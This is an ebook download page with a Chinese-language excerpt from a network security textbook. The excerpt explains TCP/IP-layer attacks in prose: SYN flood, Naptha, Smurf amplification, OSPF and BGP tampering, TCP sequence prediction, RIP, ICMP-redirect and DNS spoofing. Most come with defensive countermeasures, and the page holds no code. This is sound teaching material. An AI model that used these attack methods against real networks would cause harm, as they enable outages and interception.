网络安全基础与应用(txt+pdf+epub+mobi电子书下载)


发布时间:2020-07-11 14:12:27

点击下载

作者:张千里 编著

出版社:人民邮电出版社

格式: AZW3, DOCX, EPUB, MOBI, PDF, TXT

网络安全基础与应用

网络安全基础与应用试读:

前言

P R E F A C E

目前所运用的TCP/IP协议在设计时,安全并不是主要的考虑点。随着攻击技术的不断发展,各种各样利用网络底层协议本身的安全脆弱性进行攻击的手段层出不穷,而且其中很多是无法从根本上避免的。由于所有的应用协议都架设在TCP/IP协议之上,TCP/IP协议本身的安全问题,将极大地影响上层应用的安全。

网络的普及和应用,还是近十年的事情,而操作系统的产生要远早于此。在互联网络广泛应用之前的操作系统,主要面向个人用户或者是同一个组织里的用户,这与互联网络广泛应用之后的情况是完全不同的。很多操作系统缺省安装时存在大量的服务和缺省用户账号,即是明证。

随着整个社会的电子化进程的加速,这些网络安全风险正在成为实际应用中的问题,为了解决这些问题,网络安全技术不断地更新换代,各种新技术、新思路层出不穷。本书根据实际的需求,介绍其中一些相关技术,并通过使用开源软件,构建实际的安全系统。本书的第一章介绍计算机网络的安全风险。这部分介绍的缺陷包括:TCP/IP协议缺陷、软件实现缺陷和用户使用缺陷等。读者可以通过这个章节对计算机网络的安全问题有系统化的理解。这不但是网络安全初学者的一个较合适的入门,而且对网络安全的研究者也有一定的参考价值。本书的第二章侧重于介绍一些关于密码学的基础知识,这些密码学的常识是每个网络安全的从业者都应当了解的。在第三章中,我们介绍了在构建安全协议方面的几个有代表性的例子,从而让读者对于协议层安全防护有一个大概的认识。第四章介绍了两种主要操作系统,Windows 2000和UNIX/Linux的安全防护方法以及相应的常用安全工具,这部分内容对系统管理员有很好的参考价值。第五章介绍网络安全管理政策、网络安全风险评估以及网络设备的访问权限控制,这部分内容对网络管理员将有很大帮助。第六章的主要内容是入侵检测和响应,包括入侵检测系统的概念、技术和评估、入侵检测系统的发展前景、紧急响应的常用工具和方法。和其他安全技术相比,入侵检测系统是一个较新的技术。入侵检测系统既有很强的理论研究意义,又有很好的应用价值,是研究和开发网络安全产品的一个重点。如果防护和黑客的关系是“防护在明,黑客在暗”,那么检测和黑客的关系就是“黑客在明,检测在暗”。响应和恢复是发生安全攻击后的操作,只有进行了有效的恢复,才能保证系统不会被屡次破坏。第七章介绍几个著名的开源软件的使用和配置。通过这些软件的安装和配置,一个简单的安全系统就可以构建出来。本书的最后一章讨论网络安全的未来。这部分主要根据作者在网络安全领域的研究和工作过程中所掌握的知识和经验,对网络安全的未来提出一些思考和建议。

承蒙清华大学电子工程系李星教授作序,特此致谢!作者 第1章  CHAPTER 1因特网风险分析1.1 TCP/IP协议的安全问题

TCP/IP是目前因特网使用的协议,它之所以有今天这个辉煌的地位,是因为它在设计原则上所体现出众多优点,例如简单、易扩展、尽力而为等。这些原则给使用TCP/IP协议的用户带来非常方便的互联环境,使得因特网的用户以极快的速度迅速增加。但是,正是在这些优点的背后,TCP/IP协议也存在着一系列的安全缺陷。而这些缺陷,是所有 TCP/IP的实现所共有的,以下我们将简要介绍这些安全隐患。1.1.1 TCP/IP概述

1.TCP/IP基本结构

TCP/IP是一组Internet的协议,除了TCP和IP两个关键协议外,它还包括其他协议如UDP、ARP、ICMP、Telnet和FTP等。TCP/IP的设计目标是将不同的网络进行互相连接,即实现因特网。为了达到这个目标,TCP/IP被设计成四层结构,从上到下分别为:应用层、传输层、网络层和物理链路层,如图1.1所示。图1.1 TCP/IP基本逻辑结构

图中是TCP/IP协议层的逻辑结构。任何一台计算机想在因特网上与其他计算机通信,必须有这样的逻辑结构。每一层可以有一个或多个模块,每个模块实现一定的数据处理功能。应用程序如Telnet和FTP运行在应用层。传输层给应用层提供端对端的数据传输,传输层有两种协议:TCP和UDP。网络层实现包转发功能,是网络之间互联的关键技术,网络层的协议为IP协议。物理链路层包括网络物理线路,网络驱动和一些协议如ARP协议。目前最常见的物理网络是以太网,ENET模块是以太网的网络驱动。IP模块下面的小圆圈是IP地址,ENET模块下面的小圆圈表示MAC地址。IPv4的地址是32bit,目前正在推出IPv6,其地址为128bit。

TCP/IP层次结构有两个重要原则:(1)在同一端点,每一层只和邻接层打交道,例如应用程序根本不关心网络层是怎么转发包以及数据在哪些网络上传输;(2)不同端点之间的同一层有对等关系。对等层之间可以进行通信,如应用程序之间的通信、TCP模块之间的通信等。

2.TCP/IP通信模型

通信模型是TCP/IP最基本的模型之一,它描述了端和端之间如何传输数据。在图1.1中,各层模块之间的连线表示数据流的路线。在发送端,数据从上层传到下层。对于使用TCP协议的程序,数据从应用程序流过TCP模块。对于使用UDP协议的程序,数据从应用程序流过UDP模块。数据单元每经过一个模块都被加上头信息标识该单元从哪来。在TCP和IP模块之间的数据单元叫做TCP包。在UDP和IP模块之间的数据单元叫做UDP包。在IP和ENET模块之间的数据单元叫做IP包。出了ENET模块,传输在电缆上的数据单元是以太网帧。

在接收端,数据从下层传到上层。每经过一个模块,数据单元都根据相应头信息的内容而被送到相应的模块,并且把相应的头信息去掉。在ENET模块,根据以太网帧中的协议项,决定数据被送到IP模块还是ARP模块。在IP模块,根据IP头信息中的协议项,决定数据被送到TCP还是UDP模块。在TCP和UDP模块,根据TCP和UDP头信息中的端口项,决定数据被送到哪个应用程序。

TCP/IP提供两个主要的传输协议:TCP和UDP协议。TCP协议是一个面向连接的协议。它通过发送和确认机制,保证数据无错误传输。UDP协议是无连接的,它只管发送和接收所有的包,不保证数据是否到达。使用TCP协议还是UDP协议由应用程序决定。例如FTP使用TCP协议,SNMP使用UDP协议。

ARP协议是地址转换协议,它把对方的IP地址转换成MAC地址,提供给网络驱动。因为以太网的帧能传到目的地是根据MAC地址的。这里有两种可能,如果目的地IP地址是本网络的,那么数据被直接发送到目的地去,即目的地的 MAC 地址是目的地的。另外,如果目的地IP地址不是本网络的IP地址,那么数据被发送到网关去,即目的地的 MAC地址写的是网关的MAC地址。

3.TCP/IP网络互联模型

TCP/IP的另一个主要功能是不同网络之间的互联。网络互联功能在网络层实现,即一个IP模块连接到两个不同的物理链路层可以实现该两个网络之间的互联如图1.2所示。图1.2 一个IP模块连接两个网络

图1.2是一个具有两个网卡分别连接到两个网络的网络层和物理链路路层结构。这样的结构可以实现包转发功能,即可以把来自一个网络来的包转发到另外一个网络去,网关和路由器都有这个功能。每个网络都有自己的网络驱动和ARP模块以及两个MAC地址,对应着两个IP地址。在IP模块,根据数据单元所标的目的地的IP地址,决定把数据送到哪个网络去。如图中两个网络的情况下,以太网1的数据可以传到以太网 2,反之亦然。这就实现了简单的网关功能。如果一个IP模块连接三个网络的情况下,来自一个网络的数据可以选择被送到其余的某个网络去,这就是路由选择功能。通过网关的数据转发和路由选择功能,就实现了不同网络的互联。1.1.2 拒绝服务攻击

拒绝服务(Denial of Service,DOS)攻击就是消耗目标主机或者网络的资源,从而干扰或者瘫痪其为合法用户提供的服务。目前DOS攻击可以分为三类:网络带宽耗尽型、系统资源耗尽型以及处理缺陷型。带宽耗尽型主要是堵塞目标网络的出口,导致带宽消耗不能提供正常的上网服务。例如常见的Smurf攻击、UDP Flood攻击、MStream Flood攻击等。针对此类攻击一般采取的措施就是 QoS,在路由器或防火墙上针对此类数据流限制流量,从而保证正常带宽的使用,单纯带宽耗尽型攻击较易被识别,并被丢弃。资源耗尽型是攻击者通过严重消耗目的服务器关键处理资源,例如 CPU、内存等,导致目的服务器无法提供正常服务。例如常见的SynFlood攻击、Naptha攻击等。以上两种攻击,都是利用系统对正常网络协议处理出现的问题,即使服务器或者网络都没有实现的问题,仍然可能会遭到攻击。而对于由于处理缺陷型的拒绝服务攻击,通常是由于系统在实现的过程中,引入了一些不必要的缺陷(bug),从而导致当攻击者使用某些异常流量时,系统会无法继续提供服务,这不在本部分讨论。

近年来,随着大规模攻击技术的发展,形成了一些分布式拒绝服务攻击(Distributed Denial of Service,DDOS)方法,它们利用多台计算机,采用了分布式对单个或者多个目标同时发起DOS攻击。DDOS攻击为增加攻击威力,采用了许多新攻击技术,如伪造数据、消除攻击包特征、综合利用协议缺陷和系统处理缺陷、使用多种攻击包混合攻击、采用攻击包预产生法等来提高攻击的有效性。这种攻击通常会更难防治。

以下我们将简要介绍几种常见的由于TCP/IP协议问题造成的安全风险。

1.SYNFlood攻击

最经典的攻击是synflood攻击,它利用TCP/IP协议的漏洞完成攻击。通常一次TCP连接的建立包括3个步骤,客户端发送SYN包给服务器端,服务器分配一定的资源给这个连接并返回SYN/ACK包,并等待连接建立的最后的ACK包,最后客户端发送ACK报文,这样两者之间的连接建立起来,并可以通过连接传送数据了。而攻击的过程就是疯狂发送 SYN报文,而不返回 ACK 报文,服务器占用过多资源,而导致系统资源占用过多,没有能力响应别的操作,或者不能响应正常的网络请求。

这个攻击是经典的以小搏大的攻击,自己使用少量资源占用对方大量资源。一台 P4 的Linux系统大约能发30~40Mbit/s的64字节的synflood报文,而一台普通的服务器20Mbit/s的流量就基本没有任何响应了(包括鼠标、键盘)。而且synflood不仅可以远程进行,还可以伪造源IP地址,给追查造成很大困难,要查找必须对所有骨干网络运营商的路由器一级一级地向上查找。

针对Synflood攻击,常见的解决方法有路由器限速以及SynCookie。路由器限速就是限制SYN包的到达速度;SynCookie 方法则是在建立 TCP连接时,要求客户端响应一个数字回执,来证明自己的真实性,从而解决了目标计算机系统的半开连接队列的有限资源问题。

2.Naptha

由于对于每个建立的TCP连接,系统都要耗费相对较多的资源,因此如果同服务器建立大量的TCP连接,服务器则会由于资源耗尽而无法响应其他的用户。这一想法的问题在于,如果使用通常的API,在服务器无法响应之前,攻击者就已经崩溃了。因此,Naptha不使用传统的网络API来设置TCP连接,不像真实的TCP/IP堆栈那样,它不保存任何连接状态的记录,它只根据发给它的报文中的某些标志来进行响应。按照这种方法,它可以与目标主机建立成千上万的连接,而与目标主机相比,攻击者只使用了很少的资源。使用这种方法,它可以对目标主机上的某个特定服务或TCP/IP堆栈自身造成真正的威胁。Naptha 攻击可以通过分布式的方式来实现,因此使其变得更为有效。

攻击的第一步要从一个伪造IP地址的所有可能端口向目标主机发送一系列的SYN报文。然后需要在伪造IP所在的局域网中运行一个程序,确保路由器的ARP表中有这台“虚拟主机”(就是伪造的IP地址)。接下来,它会监听从目标主机发往虚拟主机的报文。这个程序会使用合适的标志以及序列号来响应那些报文从而建立连接。使用虚拟主机主要是为了让跟踪攻击来源更为困难。

总之,Naptha攻击表明了资源耗尽攻击的严重性。针对这个问题,还没有一个显而易见的解决方法。

3.流量放大器

流量放大器经常被用于实施分布式拒绝服务攻击。所谓的流量放大器,就是说当攻击者输入流量会经过这一系统的处理而放大几倍,这样如果攻击者发送大量的源地址被修改为要攻击的系统的流量到这些放大器时,就会出现大量的流量到目的系统,从而导致拒绝服务攻击。

Smurf攻击是以最初发动这种攻击的程序名Smurf来命名的。这种攻击方法结合使用了IP欺骗和ICMP回复方法使大量网络数据包充斥目标系统,引起目标系统拒绝为正常系统进行服务。攻击者向一个具有大量主机和因特网连接的网络的广播地址发送一个欺骗性Ping分组(echo请求),这个目标网络被称为反射站点,而欺骗性Ping分组的源地址就是被攻击的系统。如果路由器接收到这个发送给IP广播地址(如202.112.0.255)的分组后,将它映射为以太网广播地址 FF:FF:FF:FF:FF:FF,就会对本地网段中的所有主机进行广播。而所有的ECHO包则会被转给被攻击系统,当攻击者使用大量的反射网络的时候,就会导致被攻击系统由于缺少可用的网络带宽而丧失服务能力。

另外一个常见的手段就是利用DNS服务器的DNS查询。攻击者向多个DNS服务器发送大量的查询请求,这些查询请求数据包中的源IP地址为被攻击主机的IP地址,DNS服务器将大量的查询结果发送给被攻击主机,使被攻击主机所在的网络拥塞或不再对外提供服务。

对于这些攻击来说,基于路由器的ACL和限流是比较有效的防范措施。此外,对于Smurf攻击,可以配置路由器不转发来自外网的针对广播地址的数据包。

4.OSPF的攻击

OSPF(Open Shortest Path First)是使用于自治域内部的另一种路由协议。OSPF使用的路由算法是状态连接(Link - State)算法。在该算法中,每个路由器给相邻路由器宣布的信息是一个完整的路由状态,包括可到达的路由器、连接类型和其他相关信息。和RIP相比,OSPF协议中已经实施认证过程。但是该协议还存在着一些安全的问题。

LSA(Link State Advertisement)是OSPF协议中路由器之间要交换的信息。一个LSA头格式如图1.3所示。图1.3 LSA头格式

LS序列号为32bit,用来指示该LSA的更新程度。LS序列号是一个有符号整型数,大小介于0x80000001(负值)和0x7fffffff之间。较大的LSA序列号表示该LSA已经被更新。值得注意的是,任何一个路由器都可以更改这个 LSA 的头信息。一个攻击者收到一个 LSA之后,可以把LS序列号加1(Seq++攻击),它只要重新计算 LS校验和保证该 LSA有效,然后把这个LSA再次散发给其他路由器,其他路由器收到该LSA发现LS序列号已经加1,这意味着LSA已经被更新,它就更新自己的路由状态,并继续散发该LSA,一直到该LSA的创建者收到这个LSA,发现LSA的内容不对头,它就重新发出一个新的LSA给其他路由器。如果攻击者不停地修改收到的LSA的序列号,那么造成的结果是整个网络运行不稳定。

除了把序列号加1,攻击者还可以把序列号改成最大值,即0x7fffffff(MaxSeq攻击)。当然,每次修改LSA,攻击者都要重新计算校验和以保证LSA是有效的。当该LSA到达自己的创建者,它就被重新设置并再次传播。如果攻击者不停地修改收到的LSA的序列号,同样也会造成整个网络运行不稳定。

OSPF的第三种攻击方法就是MaxAge攻击。当攻击者收到一个LSA,它把该LSA的age项设成最大值(一般是3600),然后传给其他路由器。其他路由器收到该LSA以后,就把该LSA在自己路由状态中的信息清除。当该LSA的创建者收到它以后,该LSA再次被重新设置,并再次传播。和上面的攻击一样,这种攻击也会造成整个网络运行不稳定。

5.BGP缺陷

BGP(Border Gateway Protocol)是自治域(AS)的核心路由器之间的路由信息交换协议。和TCP/IP协议一样,BGP也包含着多种安全隐患,如IP欺骗、窃听、SYN攻击等。任何一个实体可以在一个BGP的连接中加入信息或者中断这个连接。再加上IP欺骗的攻击技术,一个实体可以远程重置世界上任何BGP路由器。

BGP之所以隐含着这么多安全问题是因为,它没有一个保护 BGP连接消息的完整性、有效性和身份认证的机制。另外,没有一个确认NLRI(Network Layer Reachability Information)和AS_PATH项的有效性。

BGP有四种消息类型:OPEN、KEEPALIVE、NOTIFICATION和UPDATE。任何一个实体都可以伪造OPEN、KEEPALIVE和NOTIFICATION消息去破坏一个BGP的连接。它还可以伪造UPDATE消息中的ATOMIC_AGGREGATE、AS_PATH或者NLRI项去破坏路由功能。在运行BGP协议的路由器出现问题后,所引起的后果将是灾难性的,这有可能会导致整个ISP 网络无法访问,因此,这样的安全攻击更为严重。幸运的是,通常大多数核心路由器都已经做了严格的访问权限控制,入侵者能够直接攻击核心路由器的可能性并不是很大。

目前已经有一些针对BGP的安全扩展,例如对BGP报文加入完整性校验选项,从而避免这种风险,不过,大多数的ISP还是更喜欢用访问权限控制来解决这个问题,因为这样带来的影响要小得多。1.1.3 监听(Sniff)、假冒(Spoof)和劫持(Hijack)

我们知道,IP数据包一般是明文传输,而且也没有对来源的验证。这两个问题,就成了TCP/IP网络中最严重的安全隐患之一。内容不进行加密,使得在广播型的局域网络中,数据很容易被窃听。例如,在以太网中,只要将网卡设置为混杂模式,就可以监听到所有的数据包。通过对这些数据包的分析,攻击者可能从中取得必要的认证信息或重要的内容,例如,应用协议如Telnet、FTP、POP3等密码都是明文传输,如果这些密码在网上传输的时候被攻击者监听到,就会造成很大的安全隐患。或者,数据中含有个人敏感信息、商业机密等,如果被监听也会造成重大的损失。即使监听看不到数据的具体内容,也可以从中分析出哪些主机开了哪些服务,哪些主机和哪些主机之间进行了通信,从而可以分析出主机之间的信任关系。这些信息都会造成安全问题。

缺乏源认证是另外一个重要的问题。攻击者可以伪装成其他用户,从而取得不应有的特权,例如,攻击者通过伪造其他IP地址进行流量盗用。此外,如果攻击者使用其他IP地址进行恶意攻击,可以有效地隐藏自己的来源,同时给被假冒者名誉、性能等众多方面造成损害。伪造ARP就是一种常见的IP地址假冒方法,它的主要原理是,以被假冒主机的IP地址和本机的以太网地址为源地址发ARP包,这样即可造成IP地址的假冒。使用IP包头中的源路由选项是进行IP地址假冒的另外一种方法,通过指定IP包的源路由选项,一个IP包可以按照预先指定的路由到达目的主机,因为在一般情况下,一端使用源路由选项常常表示这一端有充足理由(如拥塞避免、故障路由的回避,以及效率方面的考虑)认定源路由有更好的表现,那么,很有可能目的主机使用该源路由的逆向路由与源主机通信,这样就实现了源IP的假冒。

攻击者甚至可以劫持一个连接,而让自己成为其中的中介。这也就是说,攻击者在某种意义上就像两个会话主体的中间人一样,进行互相转发。攻击者可以在其中增加、删除一些会话内容,而会话的双方对此完全不知情。这样的话,双方的通信就毫无安全可言了。一般而言,只要攻击者能够成功地假冒为其中一方,就能够进行会话的劫持。

综合利用其他一些协议的安全问题,即使在非广播的局域网或者广域网中,这种监听、假冒、劫持的风险仍然存在。

1.TCP序列号预测

TCP序列号预计由莫里斯首次提出,是网络安全领域中最有名的缺陷之一。这种攻击的实质,是在不能接到目的主机应答确认包时通过预计序列号来建立连接。这样,入侵者可以伪装成信任主机与目的主机通话。

正常的TCP连接建立过程是一个三次握手的过程,客户方取一初始序列号ISN并发出第一个SYN 包,服务方确认这一包并设自己一C方的初始序列号为 ISN,客户方确认后这一连接即建立。一旦连接S建立成功,客户方和服务方之间可以开始传输数据。连接建立过程可以被描述如下:

TCP连接建立过程

客户方→服务方:SYN(ISN)C

服务方→客户方:ACK(ISN),SYN(ISN)CS

客户方→服务方:ACK(ISN)S

客户方→服务方:数据

和/或者

服务方→客户方:数据

由此可见,在连接建立的过程中,客户方必须收到来自服务方的初始序列号ISN,在接收到ISN之前,对客户方来说它是一个随机数。SS

假设,入侵者通过某种方法得到了服务方的初始序列号ISN,那S么,它有可能冒充为另一个信任主机对目的主机发信息。这个过程如下:

攻击者→服务方:SYN(ISN),SRC=被冒充的主机X

服务方→被冒充的主机:ACK(ISN),SYN(ISN)XS

攻击者→服务方:ACK(ISN),SRC=被冒充的主机S

攻击者→服务方:ACK(ISN),SRC=被冒充的主机,数据S(其中,ISN是来自攻击者的初始序列号)X

由此可见,攻击者可以向服务方发送任意数据。如果此连接允许远程执行命令(例如rsh),那么攻击者可以在服务方执行任何操作。

在这种入侵方法中,ISN的预测是一个核心问题,所以这种缺陷S依赖于TCP序列号的可预测性。ISN是由操作系统所实现的TCP/IP模S块产生的。对于不同操作系统,TCP/IP模块的实现也不同,所以ISN产生的机制也有所不同。在老的 Berkeley系统中,初始序列数变S量每隔一秒都被增加一个固定值,连接被初始化以后,这个固定值减一半。因此,如果攻击者向服务方建立一个正常的连接并根据观察到来自服务方的初始序列号ISN,他就能够比较准确地预测出在任意时S刻该服务方上的初始序列数变量的值,也就是说可以预测出 ISN。STCP序列号攻击的另一个变种就是利用netstat服务。如果目标主机上运行netstat服务,它会提供该主机上其他端口的TCP序列号的信息。在这种情况,攻击者不用预测而直接得到ISN。目前的一些新的操作S系统,ISN的产生也并不是完全随机的,例如,一些操作系统所产生的值是递增的,还有一些操作系统所产生的值,虽然表面上看是随机的,但是仔细分析可能会发现它们的分布并不是均匀分布,而是可能会有一些像吸引子(Strange Attractor)之类的东西。

实际上,在以上的传输过程中,从服务方发送到被冒充的主机。

服务方→被冒充的主机:ACK(ISN),SYN(ISN)XS

有可能会被被冒充的那个主机收到,这时候它会发现这是一个不存在的连接,它就发送一个RST包阻止连接的建立。为了克服这个问题,攻击者可以向被冒充的主机发送大量SYN包(SYN-Flood攻击),利用TCP将抛弃多于5个连续的SYN包这一点,对被冒充的主机进行拒绝服务类型的攻击,防止它阻止攻击连接的建立。攻击者的另一个选择就是等待被冒充的主机关闭或重启的时候进行攻击。

2.RIP攻击

RIP (Routing Information Protocol)是用于自治域(Autonomous System,AS)内部的一种内部路由协议(Internal Gateway Protocol,IGP)。RIP用在自治域内部的路由器之间交换路由信息。RIP使用的路由算法是距离向量算法(Vector-Distance)。该算法的主要思想就是每个路由器给相邻路由器宣布可以通过它达到的路由器及其距离。值得注意的是,在 RIPv1中,没有规定认证机制,在RIPv2中才增加了认证机制的设置。如果接收方不对来源进行认证而盲目接收处理这些信息,一个入侵者有可能发出伪造的路由信息,给目的主机以及沿途的各网关。这样,如果入侵者宣布经过自己的一条通向目的主机的路由,将导致所有发往目的主机的数据包发往入侵者。从而可以冒充是目的主机,也可以监听所有目的主机的数据包,甚至在数据流中插入任意的包。

3.源路由选项的使用

在IP包头中的源路由选项用于该IP包的路由情况,这样,一个IP包可以按照预选指定的路由到达目的主机,现在,假设目的主机使用该源路由的逆向路由与源主机通信,这样的处理是相当合乎情理的,因为在一般情况下,一端使用源路由选项常常表示这一端有充足理由(如拥塞避免、故障路由的回避,以及效率方面的考虑)认定源路由有更好的表现。

但这样也给入侵者创造了良机,当一个入侵者预先知道某一主机有一信任主机时,即可利用源路由选项伪装成受信主机,从而攻击系统,这相当于使主机可能遭到来自所有其他主机的攻击。

解决方法:这种攻击很难避免,在网关上禁止源路由的包通过是一种简单的防治方法,但这种方法对于来自同一子网内机器的攻击束手无策,而且这种方法完全禁止了源路由选项,未免不尽情理,理论上可以让每一主机得知路由状况以智能判断源路由选项是否合法,然而,这在实际中是不可能做到的。也许最好的防治方法是完全避免基于IP地址的认证方式,即R协议、X协议等。对于Cisco路由器,可以使用命令:no ip source-route.来避免这一攻击。

4.ICMP重定向

ICMP的重定向消息,用于网关向主机建议另一条路由。因此,这一消息可受到类似RIP的攻击。但相比较而言,ICMP重定向消息的限制要多一些。例如,ICMP只能在当目的主机发出数据包后才能被动发出,它不能用于随时改变目的主机的路由表。ICMP重定向信息一般也只是第一个驿站(网关)才可以发出。以后的网关中既不能发改变源机的路由,也不可以改变以前网关的路由表。

现在假设入侵者已进入目的主机网络中的备用网关,首先,入侵者伪装为另一主机T向目的主机发出连接请求,目的主机确认连接时,入侵者将发出一个假的ICMP包,以主要网关的身份指出去主机T须由入侵者中转。这样,入侵者可以对这一连接的数据流进行监听或任意修改。如果目的主机收到ICMP重定向消息后不只对这一连接的路由表做修改,而且对全局的路由表做修改,那么所影响的将是整个目的主机网络。

解决方法:既然ICMP重定向消息只用于局域网中有多个网关的情形,而且只能是由局域网网关才能发出,因此,在绝大多数情形中,简单地忽略这一消息并不会带来很大麻烦。对于确有必要的场合,仔细地认证是保证ICMP重定向消息安全性的有力武器。收到 ICMP重定向信息后只对该连接的路由进行修改是一种可以普及的较为审慎的处理方法。对于Cisco路由器,可以使用no ip redirect来避免这一攻击。

5.DNS安全问题

DNS服务提供了解析域名等多种服务。它存在着多种安全隐患。

首先,一个入侵者可以进行域名的假冒性攻击。对于R类(Rlogin、Rexec)服务,当入侵者发起连接时,目的主机首先检查信任主机名或地址列表。如果这其中有一项为域名,则目的主机将可能利用DNS服务器解析域名。假设入侵者在此时假冒为域名服务器给一个回答,则可以使目的主机认为入侵者即是信任主机,对于这类攻击,UDP源端口号和DNS序号应当设法知道,DNS序号一般初始为0,而UDP源端口号则可以用netstat服务或一些UDP端口扫描等工具获得。如果入侵者可以伪装为域名服务器应答,那样的话使入侵者就可以监听所有的连接。

域名欺骗也是一个常见的安全问题。域名欺骗的方式有多种多样,DNS毒化就是其中一种。它利用控制DNS缓存服务器,把原本准备访问某网站的用户在不知不觉中带到攻击者指向的其他网站上,其实现方式可以通过利用网民ISP端的DNS缓存服务器的漏洞进行攻击或控制,从而改变该ISP内的用户访问域名的响应结果。或者攻击者通过利用用户权威域名服务器上的漏洞,如当用户权威域名服务器同时可以被当作缓存服务器使用,攻击者可以实现缓存投毒,将错误的域名记录存入缓存中,从而使所有使用该缓存服务器的用户得到错误的DNS解析结果。

对于这些攻击,采用DNSSEC是一个可行的方法。1.1.4 TCP/UDP应用层服务的安全问题

1.Finger的信息暴露

在所有有暴露信息危险的服务中,Finger又是最危险的。这是因为:(1)Finger没有任何认证机制。任何人都可利用Finger来获得目的主机的有关信息。(2)Finger 所提供的住处包括用户名,用户来自于何处等信息,这些信息可以用于口令的猜测攻击,以及信任主机被假冒的攻击,具有很大的潜在危险。(3)Finger没有认证,这使得无法辨别一个主机是否在基于“正当的”目的使用Finger,这使得主机即使被攻击,也无法辨明Finger在其中起了多大作用。

解决方法,关掉Finger服务,如果有充分理由打开Finger服务的话,不妨将Finger设为:/bin/cat/etc/something。

2.FTP的信息暴露

FTP协议本身并无安全问题,但几乎所有的实现都有如下问题:(1)FTP一般用户的口令与登录口令相同,而且采用明文传输,就增加了一个网点被攻破的危险。只要在局域网内或路由上进行监听,就可获取大量口令。这样,一个网点会很容易被攻击。(2)一些网点上的匿名FTP提供了另一攻击途径。尤其是可以上载的FTP服务,更为危险,这常常会使入侵者放置、散播特洛伊木马的工作变得更轻易。入侵者可以放一个已改动过的、带有恶意代码的软件。当另一个主机上的用户下载安装软件时,后门即可建立。匿名FTP还有一个危险即可能暴露账号和口令信息。由于匿名 FTP 也无法记录,使得基于 FTP的攻击更为隐蔽。

解决方法:已经开始有网点尝试使用一次性口令。这使得基于(1)的攻击变得困难。当然,采用加密技术也是一个好办法。

对于服务器来说,基于(2)的攻击是难以预防的。也许可以要求每一上载软件都必须提供上载人的认证信息(如E-mail 地址)并进行确认,但这种方法显然不方便。另外,各软件生产者都应在所生产的软件中含数据签名,也是一个办法。最后,安装软件者必须充分注意并了解所装软件,也可以预防此类攻击。

3.Telnet的安全问题

Telnet本身也并没有安全问题。它的安全隐患类似FTP的(1)。只不过要更严重一些。由于Telnet是用明文传输的,因此不仅是用户口令,而且用户的所有操作及其回答都将是透明的。这样,Telnet被监听后,影响范围更大,程度更严重。Telnet的另一个问题是它有可能被入侵者加入任意可能的数据包。

解决方法:在必须开放Telnet的服务器上加入地址认证可以解决一部分问题。更好的办法是采用加密技术。尽量使用户本地工作也是一个好的作风。

4.POP3的安全问题

由于POP3的口令与账号的口令相同,在此它存在着类似FTP(1)的问题,解决方法也是类似的。

5.TFTP/BOOTP的安全问题

TFTP 允许不经认证即能读主机的那些被设置成所有人可读的文件。这将使系统可能暴露账号、工作目录等重要信息。一些 TFTP允许不经认证上载文件到所有人可写的目录,这将使这一服务更为危险。

BOOTP协议允许无盘工作站从网上启动。如果入侵者伪装或BOOTP服务器,那么无盘工作站就会运行一个被改动过的内核。这将产生不可预料的后果。如果BOOTP使用 RARP取得 IP 地址,将使这一服务更加脆弱。因为以太网是不提供任何安全保障的。跨网段的BOOTP将更危险。

解决方法:因为TFTP正常情况下应用很少,所以简单地禁止它是最安全的。不然,最好使TFTP服务进程有一受限的环境。对于BOOTP服务,认证应当是一种简便的解决方法。另外,谨慎地对待无盘机的启动也是必须的。

6.DHCP协议的安全问题

DHCP服务为客户端指定IP地址、掩码以及DNS服务器等方面的信息。可想而知,在没有任何验证的情况下,攻击者可以指定客户端的DNS服务器为自己所控制的一台服务器,这样所有关于DNS假冒的攻击就都可以实施了。

通常说来,使用自己指定的DNS服务器会安全得多。

7.RPC、Ruserd、Rstatd安全问题

RPC,即远程过程调用,是Sun公司提出并被广泛应用的分布式运算协议,这一协议的所有实现中,几乎都默认有Ruserd和Rstatd服务。Ruserd用于列出系统上的所有活动用户,而Rstatd用于报告当前系统的一些运行情况,由于这两个服务都没有认证需要,因此它们可能会暴露一些系统的安全信息。

解决方法:Ruserd服务类似Finger服务,因此一般来说,这一服务并无必要存在,Rstatd一般也无必要打开。

8.Rlogin、Rexec等服务的安全问题

Rlogin、Rexec的安全隐患已在前述各节有所论述,它们的主要问题是:(1)信息暴露,类似Telnet的安全问题。(2)信任主机被冒充,包括IP地址冒充和主机名冒充两种情况,具体细节请参考以上各节。Rlogin、Rexec服务比Telnet来说没有增加新的内容,虽然略为方便,但却使系统存在着严重的安全隐患,使系统不易管理和控制,因此,建议可取消这两个服务。

9.X协议的安全问题

X 协议是用于图形界面描述和显示的基于TCP的协议,X 使图形界面的异地显示成为可能,从而大大方便了UNIX的使用。

X协议的安全问题主要在于,X是基于信任主机方式工作的,目前几乎所有的实现中,X 事件的取得资格一般依赖于IP地址,这样,所有的IP冒充都可以用于攻击X服务。

X事件的读取主要对系统的安全造成如下威胁。(1)可以得到X服务器主机上键盘的所有输入。(2)可以得到X服务器主机上的所有图形界面的情况。(3)可以控制X服务器主机上的所有以图形界面运行的程序。

由此可见,X协议对于系统的安全性有很大的威胁。

解决方法,采用基于用户的X协议权限限制可以减少这类攻击,但并不能根本杜绝这类攻击,更好的办法应是采用加密技术。1.2 软件实现缺陷

我们在这里指的软件是运行在计算机和设备上的程序。操作系统就是一种软件,而应用软件是通常在操作系统上运行。软件实现缺陷是由程序员在编程的时候没有考虑周全而造成的。软件缺陷一般可以分为以下几种类型:(1)输入确认错误。在输入确认错误的程序中,由用户输入的字符串没有经过适当的检查,使得攻击者可以通过输入一个特殊的字符串使程序运行错误。这样的错误会造成程序运行不正确、不稳定、异常终止等结果。但是最危险的是攻击者利用这样的程序进行一些非法操作,这就是所谓著名的缓冲区溢出漏洞。由于缓冲区溢出是一个重要的软件实现缺陷,我们将在下面细谈。输入确认错误的另一个子集就是边界条件溢出。边界条件溢出指的是程序里边的一个变量变为超过它自己边界条件时的程序运行错误。这个变量可以是用户输入值,也可以是系统自己生成。所以可以说,边界条件溢出的缺陷和输入确认错误的缺陷有一定的交叉。边界条件溢出的缺陷可能导致系统运行不稳定,如系统没有足够内存、硬盘或者网络的带宽占满等等。很多著名的拒绝服务攻击是利用这样的缺陷进行的。(2)访问确认错误。访问确认错误指的是系统的访问控制机制出现错误。错误并不在于用户可控制的配置部分,而在系统的控制机制本身。所以,这样的缺陷有可能使得系统运行不稳定,但是基本上不能被利用去攻击系统,因为它的运行错误不受用户的控制。(3)特殊条件错误。未处理特殊条件的缺陷指的是程序运行的时候在某些特殊条件或者环境下出问题。(4)设计错误。设计错误指的是程序在实现和配置的时候并不存在错误,而错误就在程序的设计方案上。如果我们回头想一下上面谈过的TCP/IP协议的缺陷,这些缺陷都属于设